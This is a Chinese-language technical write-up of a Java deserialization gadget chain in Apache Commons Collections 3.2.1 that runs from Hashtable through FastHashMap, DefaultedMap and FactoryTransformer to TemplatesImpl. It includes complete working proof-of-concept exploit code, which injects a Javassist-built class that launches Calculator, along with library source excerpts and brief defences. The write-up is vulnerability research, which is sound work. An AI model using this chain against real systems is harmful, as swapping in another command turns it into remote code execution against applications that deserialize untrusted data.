从FastHashMap到TemplatesImpl
字数 1819 2025-08-24 20:49:22

FastHashMap到TemplatesImpl利用链分析

前言

本文详细分析Apache Commons Collections 3.2.1版本中从FastHashMap到TemplatesImpl的利用链,该链结合了FastHashMap、DefaultedMap、FactoryTransformer和InstantiateFactory等组件,最终通过TemplatesImpl实现任意代码执行。

环境准备

  • Apache Commons Collections 3.2.1
  • JDK环境(需要包含com.sun.org.apache.xalan.internal.xsltc相关类)
  • Javassist库(用于动态生成恶意类)

漏洞复现代码

package CC;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class CCD {
    public static void main(String[] args) throws Exception {
        // 使用Javassist生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass STU = pool.makeClass("T0WN");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
        STU.makeClassInitializer().insertBefore(cmd);
        STU.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        STU.writeFile();
        byte[] classBytes = STU.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        // 设置TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates,"_name","DawnT0wn");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",targetByteCodes);

        // 构造InstantiateFactory
        InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class, 
            new Class[]{Templates.class}, new Object[]{templates});
        
        // 构造FactoryTransformer
        FactoryTransformer transformer = new FactoryTransformer(factory);
        
        // 构造DefaultedMap
        HashMap tmp = new HashMap();
        tmp.put("zZ", "d");
        DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);
        
        // 构造FastHashMap
        FastHashMap fastHashMap1 = new FastHashMap();
        fastHashMap1.put("yy","d");
        
        // 构造Hashtable并修改键值
        Hashtable obj = new Hashtable();
        obj.put("aa", "b");
        obj.put(fastHashMap1, "1");
        
        // 通过反射修改Hashtable中的键
        Field field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        Object[] table = (Object[]) field.get(obj);
        
        // 修改特定位置的键为DefaultedMap
        Object node = table[2];
        Field keyField;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        if (keyField.get(node) instanceof String){
            keyField.set(node, map);
        }
        
        // 序列化和反序列化触发漏洞
        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("CCD.bin"));
        os.writeObject(obj);
        ObjectInputStream fos = new ObjectInputStream(new FileInputStream("CCD.bin"));
        fos.readObject();
    }
    
    public static void setFieldValue(Object obj,String filename,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(filename);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

利用链分析

完整的利用链如下:

Hashtable.readObject()
  -> Hashtable.reconstitutionPut()
    -> FastHashMap.equals()
      -> DefaultedMap.get()
        -> FactoryTransformer.transform()
          -> InstantiateFactory.create()
            -> TrAXFilter构造方法
              -> TemplatesImpl.newTransformer()
                -> TemplatesImpl.defineTransletClasses()
                  -> 恶意类静态代码块执行

关键点解析

  1. 触发点选择

    • 使用Hashtable的readObject作为起点,因为它在反序列化时会调用reconstitutionPut方法
    • 在reconstitutionPut中会调用equals方法比较键值
  2. Hash碰撞问题

    • 需要确保FastHashMap和DefaultedMap的hashCode相同
    • 通过构造fastHashMap1.put("yy","d")hashMap.put("zZ", "d")实现相同hashCode
  3. 反射修改键值

    • 直接put两个hashCode相同的键会导致程序在put阶段就抛出异常终止
    • 通过反射修改Hashtable内部table数组中的键值对,绕过put阶段的检查
  4. FastHashMap.equals()

    • 当Hashtable比较键时会调用此方法
    • 方法内部会调用另一个键的get方法
  5. DefaultedMap.get()

    • 当键不存在时,会调用装饰的Transformer
    • 这里使用了FactoryTransformer
  6. FactoryTransformer.transform()

    • 调用内部iFactory的create方法
    • 这里iFactory是InstantiateFactory实例
  7. InstantiateFactory.create()

    • 通过反射实例化TrAXFilter类
    • 传入TemplatesImpl作为构造参数
  8. TrAXFilter构造方法

    • 内部会调用TemplatesImpl.newTransformer()
  9. TemplatesImpl.newTransformer()

    • 最终触发恶意类加载和执行

技术细节

1. Hashtable的反序列化过程

Hashtable在反序列化时会调用readObject方法:

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // 读取数据
    s.defaultReadObject();
    
    // 重建Hash表
    int origlength = s.readInt();
    int elements = s.readInt();
    
    // 逐个放入元素
    for (int i = 0; i < elements; i++) {
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        reconstitutionPut(table, key, value);
    }
}

reconstitutionPut方法中关键代码:

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException {
    // 计算hash
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    
    // 遍历链表
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        // 关键点:比较hash和equals
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new StreamCorruptedException();
        }
    }
    // 创建新Entry
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

2. FastHashMap.equals()方法

public boolean equals(Object o) {
    if (o == this) return true;
    if (!(o instanceof Map)) return false;
    
    Map m = (Map) o;
    if (m.size() != size()) return false;
    
    // 关键点:会调用另一个键的get方法
    for (Iterator it = keySet().iterator(); it.hasNext();) {
        Object k = it.next();
        if (!m.get(k).equals(get(k))) {
            return false;
        }
    }
    return true;
}

3. DefaultedMap.get()方法

public Object get(Object key) {
    // 如果key不存在,则调用装饰的Transformer
    if (!map.containsKey(key)) {
        return value.transform(key);
    }
    return map.get(key);
}

4. FactoryTransformer.transform()方法

public Object transform(Object input) {
    return this.iFactory.create();
}

5. InstantiateFactory.create()方法

public Object create() {
    try {
        return iConstructor.newInstance(iArgs);
    } catch (Exception e) {
        throw new FunctorException("InstantiateFactory: Constructor threw an exception", e);
    }
}

关键问题解决

  1. 为什么需要反射修改键值

    • 直接put两个hashCode相同的键会导致在put阶段就抛出异常
    • 通过反射可以绕过put阶段的检查,在反序列化时才触发equals调用
  2. 索引位置确定

    • Hashtable内部使用table数组存储键值对
    • 索引位置由(hash & 0x7FFFFFFF) % tab.length计算得出
    • 需要调试确定具体位置,通常为2(但可能因环境不同而变化)
  3. 顺序问题

    • 在Hashtable中,键值对的顺序由hashCode决定
    • 通过构造相同的hashCode可以确保比较顺序

防御措施

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java反序列化过滤器(JEP 290)
  3. 禁止反序列化不可信数据

参考链接

总结

该利用链通过巧妙组合FastHashMap、DefaultedMap和FactoryTransformer等组件,利用Hashtable反序列化时的equals比较机制,最终触发TemplatesImpl加载恶意字节码。相比传统CC链,该链采用了反射修改键值的新技术,绕过了传统利用方式中的限制条件,展示了Java反序列化漏洞利用的灵活性。

FastHashMap到TemplatesImpl利用链分析 前言 本文详细分析Apache Commons Collections 3.2.1版本中从FastHashMap到TemplatesImpl的利用链,该链结合了FastHashMap、DefaultedMap、FactoryTransformer和InstantiateFactory等组件,最终通过TemplatesImpl实现任意代码执行。 环境准备 Apache Commons Collections 3.2.1 JDK环境(需要包含com.sun.org.apache.xalan.internal.xsltc相关类) Javassist库(用于动态生成恶意类) 漏洞复现代码 利用链分析 完整的利用链如下: 关键点解析 触发点选择 : 使用Hashtable的readObject作为起点,因为它在反序列化时会调用reconstitutionPut方法 在reconstitutionPut中会调用equals方法比较键值 Hash碰撞问题 : 需要确保FastHashMap和DefaultedMap的hashCode相同 通过构造 fastHashMap1.put("yy","d") 和 hashMap.put("zZ", "d") 实现相同hashCode 反射修改键值 : 直接put两个hashCode相同的键会导致程序在put阶段就抛出异常终止 通过反射修改Hashtable内部table数组中的键值对,绕过put阶段的检查 FastHashMap.equals() : 当Hashtable比较键时会调用此方法 方法内部会调用另一个键的get方法 DefaultedMap.get() : 当键不存在时,会调用装饰的Transformer 这里使用了FactoryTransformer FactoryTransformer.transform() : 调用内部iFactory的create方法 这里iFactory是InstantiateFactory实例 InstantiateFactory.create() : 通过反射实例化TrAXFilter类 传入TemplatesImpl作为构造参数 TrAXFilter构造方法 : 内部会调用TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() : 最终触发恶意类加载和执行 技术细节 1. Hashtable的反序列化过程 Hashtable在反序列化时会调用readObject方法: reconstitutionPut方法中关键代码: 2. FastHashMap.equals()方法 3. DefaultedMap.get()方法 4. FactoryTransformer.transform()方法 5. InstantiateFactory.create()方法 关键问题解决 为什么需要反射修改键值 : 直接put两个hashCode相同的键会导致在put阶段就抛出异常 通过反射可以绕过put阶段的检查,在反序列化时才触发equals调用 索引位置确定 : Hashtable内部使用table数组存储键值对 索引位置由 (hash & 0x7FFFFFFF) % tab.length 计算得出 需要调试确定具体位置,通常为2(但可能因环境不同而变化) 顺序问题 : 在Hashtable中,键值对的顺序由hashCode决定 通过构造相同的hashCode可以确保比较顺序 防御措施 升级Apache Commons Collections到安全版本 使用Java反序列化过滤器(JEP 290) 禁止反序列化不可信数据 参考链接 使用CodeQL CHA调用图分析寻找新的CC链 Apache Commons Collections官方安全公告 总结 该利用链通过巧妙组合FastHashMap、DefaultedMap和FactoryTransformer等组件,利用Hashtable反序列化时的equals比较机制,最终触发TemplatesImpl加载恶意字节码。相比传统CC链,该链采用了反射修改键值的新技术,绕过了传统利用方式中的限制条件,展示了Java反序列化漏洞利用的灵活性。